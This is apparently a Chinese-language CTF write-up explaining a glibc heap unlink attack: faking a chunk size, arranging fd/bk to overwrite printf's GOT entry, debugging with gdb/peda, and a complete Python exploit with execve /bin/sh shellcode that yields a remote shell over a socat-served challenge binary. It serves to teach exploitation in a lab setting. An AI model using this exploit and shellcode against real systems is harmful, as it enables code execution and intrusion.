考虑Unlink Attack

分配260字节后堆是这样的

  • 这次为了详细说明,图中也显示size

memcpy()造成溢出

  • array[11]现在是使用中状态,可以通过堆溢出使其成为类似free状态的结构
    • 具体地说,就是通过堆溢出写入size,fd,bk等
  • Unlink的判断,会对array[10]之上和之下的chunk各进行一次
    • 对上面的chunk,检查自身size变量上的PREV_INUSE比特位(此处省略,暂时不关注)
    • 对下面的chunk,检查下面第二个chunk的size上的PREV_INUSE比特位(注意这个)
  • array[10]进行free时,检查上面和下面的chunk是否是free状态
  • PREV_INUSE比特位是1,所以认为array[11]是使用中状态

如何找到下面第二个的size变量位置

  • 根据array[10]的位置加上size,能够找到array[11]的位置
  • 根据array[11]的位置加上size,能够找到array[12]的位置

通过伪造size来伪造位置

  • 例如,将array[11]的size更改为-4
  • 使260字节数据的末尾比特是偶数
    • 这样从array[10]看的话,下面的chunk就是free状态,会进行unlink
  • 要得到下面第二个chunk的位置,需要加上这个size,它是负数
  • 这样计算得到的array[12]的地址是array[10]的末尾,它的PREV_INUSE是0,使得系统认为array[11]是free状态

其他的注意点

  • 实际的内存中,-4表示为0xfffffffc

  • array[11]的size变量末尾也存在PREV_INUSE比特位,是1

    • 因为array[10]到现在为止还是使用中状态,如果是0的话在unlink之前就会出错

Unlink之前,fd和bk准备成以下状态

  • 此时,执行以下操作(P应视为array[11])

    • P->fd->bk = P->bk
    • P->bk->fd = P->fd

  • Unlink完成后,X周围区域已被重写

  • array[10]周围也被重写

  • 调整使得X->bk成为printf的GOT(保存函数地址的区域)

  • 从260字节区域开始写入shellcode

    • 当调用printf的时候,会跳转到shellcode

动态分析及检查

实际上是否真的按这个流程,我们可以用gdb来进行观察

  • 安装gdb和之后使用的socat

    • $ apt-get install gdb socat
  • 安装peda

    • $ git clone https://github.com/longld/peda.git ~/peda
    • $echo "source ~/peda/peda.py" >> ~/.gdbinit
  • peda的检查

    • $ gdb -q /bin/ls
    • 启动后,输入’start’,当出现彩色画面时,说明安装成功
  • 我经常写下面这种gdb脚本文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    $ cat cmd
    set follow-fork-mode child

    def show_heap
    printf "array[10].ptr begin\n"
    x/8xw *(int*)($esp+0x60)
    printf "array[10].ptr end-0x10\n"
    x/8xw *(int*)($esp+0x60)+0x104-0x10
    printf "array[11].ptr begin\n"
    x/8xw *(int*)($esp+0x68)
    printf "array[11].ptr end-0x10\n"
    x/8xw *(int*)($esp+0x68)+0x374-0x10
    end

    # memcpy
    b *0x08048AA6

    # free
    b *0x08048afa
    ignore 2 0x0a


    shell perl -e 'print "\x00"x260 . pack("III<", 0xfffffffd, 0x804C004-8, 0x804F350)' > pwn
    r < pwn
  • 因为alarm()会妨碍分析,使用peda的函数使其无效
  • 显示heap分配的内存地址信息
  • 在free和memcpy上创建断点(不对前10次free断点)
  • 堆的地址是本身是随机的,这里通过gdb运行是固定地址,除非明确关闭对应选项。我的环境中第11个堆地址是硬编码的,就是这个

memcpy()前后

产生了堆溢出,覆盖了下一个chunk

第11次free前后

第11次free之后

  • 查看printf@got

  • 可以看到已经被重写为堆的地址

  • 原始的值是这样

之后继续运行

  • 跳到了0x0804f350(堆区域),SIGSEGV
  • 我们已经控制了EIP的值(可以在此处写入shellcode)

进行exploit

接下来只需要写脚本

  • 以这个为基础
    • perl -e 'print "\x00"x260 . pack("III<", 0xfffffffd, 0x804C004-8, 0x804F350)'
  • shellcode还没准备好
    • 需要将””\x00”x260”的部分改为shellcode
  • 堆地址的动态对应
    • 堆地址本身是随机的,这道题目将其显示出来的
  • 实际环境中,是需要通过网络发送payload后,在远程服务器获取flag
    • 实施NW通信

写一个脚本

  • 首先需要一个网络发送数据的模板

    • 参考PPP的Write-up

    • 1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
       #!/usr/bin/python
      # -*- coding: utf-8 -*-
      import socket, struct, re, telnetlib

      def sock(remoteip, remoteport):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((remoteip, remoteport))
      return s, s.makefile('rw', bufsize=0)

      def read_until(f, delim='¥n'):
      data = ''
      while not data.endswith(delim):
      data += f.read(1)
      return data

      def p(a):
      return struct.pack("<I",a)

      def shell(s):
      t = telnetlib.Telnet()
      t.sock = s
      t.interact()
  • 实际攻击部分如下

  • 可以在下面地址找到shellcode,也可以自己构造

  • 堆地址的动态对应只需要使用正则表达式解析服务器响应

  • 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # linux/x86/execve_binsh
    shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

    s, f = sock("localhost", 4088)
    #s, f = sock("katagaitai.orz.hm", 1111)
    ret = read_until(f, "Write to object [size=260]:")
    print ret
    heap_addr = int(re.findall(r"loc=([^]]+)", ret)[10], 16)
    print hex(heap_addr)

    sc = "\xeb\x08" + '¥x00'*8 + shellcode.ljust(250, '¥x00') + p(0xfffffffd) + p(0x0804C004-8) + p(heap_addr)
    f.write(sc + "\n")
    shell(s)
  • 最终完整代码在这里

  • https://pastebin.com/Cw6haUw5

  • 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    import socket, struct, re, telnetlib

    ###################### useful function definition
    def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    return s, s.makefile('rw', bufsize=0)

    def read_until(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
    data += f.read(1)
    return data

    def p(a):
    return struct.pack("<I",a)

    def shell(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

    ###################### main

    # linux/x86/execve_binsh
    shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

    s, f = sock("localhost", 4088)
    #s, f = sock("katagaitai.orz.hm", 1111)
    ret = read_until(f, "Write to object [size=260]:")
    print ret
    heap_addr = int(re.findall(r"loc=([^]]+)", ret)[10], 16)
    print hex(heap_addr)

    sc = "\xeb\x08" + '¥x00'*8 + shellcode.ljust(250, '¥x00') + p(0xfffffffd) + p(0x0804C004-8) + p(heap_addr)
    f.write(sc + "\n")
    shell(s)
  • 由于Unlink稍微破坏了数据的开头,因此适当地连接0xEB 0x08,以便相对跳转可以跳过开头的2到10个字节。

发送exploit后的内存情况(memcpy之后)

当unlink完成时,0x0804f350被写入printf@got,也就是说,当调用printf时,它会跳转到0x0804f350。

但是,unlink之后,进行P->bk->fd = P->fd这样的处理,第5-8字节被破坏了,因此第一二字节使用了short jmp跳过了被破坏的区域,进入执行shellcode

NW通信测试

实际NW环境

1
2
3
4
5
6
7
8
9
10
$ adduser user
$ cp ./heap /home/user/
$ chown user:user /home/user/heap
$ su user
$ socat TCP-LISTEN:4088,fork,reuseaddr EXEC:/home/user/heap &
$ exit

$ netstat -antpu |grep socat
tcp 0 0 0.0.0.0:4088 0.0.0.0:* LISTEN 17728/socat
$

尝试以另一个用户身份运行脚本

  • 以运行socat的用户权限打开shell

    • 访问前修改脚本中的IP信息为远程环境信息
  • 1
    2
    3
    4
    5
    6
    7
    $ id
    uid=0(root) gid=0(root) groups=0(root)
    $ python exp.py
    (略)
    [FREE][address=9AA4C98] [FREE][address=9AA5058] [FREE][address=9AA5350]
    id
    uid=501(user) gid=502(user) groups=502(user)